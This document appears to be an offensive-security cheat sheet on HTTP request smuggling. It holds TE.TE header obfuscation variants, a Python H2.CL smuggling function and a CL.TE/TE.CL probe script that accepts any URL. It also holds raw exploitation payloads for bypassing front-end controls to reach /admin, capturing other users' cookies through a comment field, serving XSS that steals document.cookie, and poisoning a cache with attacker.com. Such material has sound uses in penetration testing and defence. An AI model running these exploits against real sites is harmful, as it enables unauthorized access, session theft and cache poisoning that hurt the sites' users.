HTTP Request Smuggling

# TE.TE Obfuscation Techniques

# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)

# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow

# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked

# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked

# Tab character
Transfer-Encoding:\tchunked

# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identity

# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 carries Content-Length itself but prohibits Transfer-Encoding
# (RFC 9113); downgrade to HTTP/1.1 at the proxy can reintroduce ambiguity

# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence

import h2.connection
import h2.events
import socket
import ssl

def h2_cl_smuggle(host, path="/"):
    """
    Send HTTP/2 request with injected Content-Length header
    If front-end downgrades to HTTP/1.1, smuggling occurs
    """
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(['h2'])
    
    sock = socket.create_connection((host, 443))
    sock = ctx.wrap_socket(sock, server_hostname=host)
    
    conn = h2.connection.H2Connection()
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())
    
    # Inject Content-Length header that will be used after downgrade
    headers = [
        (':method', 'POST'),
        (':path', path),
        (':authority', host),
        (':scheme', 'https'),
        ('content-type', 'application/x-www-form-urlencoded'),
        ('content-length', '0'),  # Valid header in H2; preserved on downgrade
    ]
    
    # Body contains the smuggled request
    body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 3

x=1"""
    
    stream_id = conn.get_next_available_stream_id()
    conn.send_headers(stream_id, headers)
    conn.send_data(stream_id, body.encode(), end_stream=True)
    sock.sendall(conn.data_to_send())
    
    # Read response
    while True:
        data = sock.recv(65535)
        if not data:
            break
        events = conn.receive_data(data)
        for event in events:
            if isinstance(event, h2.events.ResponseReceived):
                print(f"Status: {dict(event.headers).get(':status')}")
            if isinstance(event, h2.events.DataReceived):
                print(f"Body: {event.data.decode()}")

#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys

def test_clte(url):
    """
    CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
    If vulnerable, back-end will wait for more chunks and timeout
    """
    payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
A
X"""
    
    print("[*] Testing CL.TE...")
    start = time.time()
    try:
        # Send raw request (requires socket-level control)
        import socket
        import ssl
        
        host = url.replace("https://", "").replace("http://", "").split("/")[0]
        port = 443 if url.startswith("https") else 80
        
        sock = socket.create_connection((host, port), timeout=10)
        if url.startswith("https"):
            context = ssl.create_default_context()
            sock = context.wrap_socket(sock, server_hostname=host)
        
        request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
        sock.sendall(request.encode())
        sock.settimeout(5)
        
        try:
            response = sock.recv(4096)
            elapsed = time.time() - start
            if elapsed > 4:
                print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
                return True
        except socket.timeout:
            print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
            return True
            
    except Exception as e:
        print(f"[-] Error: {e}")
    
    print("[-] CL.TE not detected")
    return False

def test_tecl(url):
    """
    TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
    A vulnerable back-end reads only the Content-Length bytes and leaves the
    remainder in the buffer to desync the next request.
    """
    print("[*] Testing TE.CL...")
    start = time.time()
    try:
        import socket
        import ssl

        host = url.replace("https://", "").replace("http://", "").split("/")[0]
        port = 443 if url.startswith("https") else 80

        sock = socket.create_connection((host, port), timeout=10)
        if url.startswith("https"):
            context = ssl.create_default_context()
            sock = context.wrap_socket(sock, server_hostname=host)

        # Front-end (TE) forwards the whole chunked body; back-end (CL) reads 4 bytes
        request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
5c\r
GPOST / HTTP/1.1\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 15\r
\r
x=1\r
0\r
\r
"""
        sock.sendall(request.encode())
        sock.settimeout(5)

        try:
            response = sock.recv(4096)
            elapsed = time.time() - start
            if elapsed > 4:
                print(f"[+] TE.CL POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
                return True
            if b"GPOST" in response:
                print("[+] TE.CL POTENTIALLY VULNERABLE - Smuggled prefix reflected")
                return True
        except socket.timeout:
            print(f"[+] TE.CL POTENTIALLY VULNERABLE - Request timed out")
            return True

    except Exception as e:
        print(f"[-] Error: {e}")

    print("[-] TE.CL not detected")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url>")
        sys.exit(1)
    
    url = sys.argv[1]
    test_clte(url)
    test_tecl(url)

# Request Smuggling Exploitation Examples

# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10

x=

# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400

comment=

# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment

# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X

# Next user receives the XSS response

# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X

# Cache stores attacker's version of main.js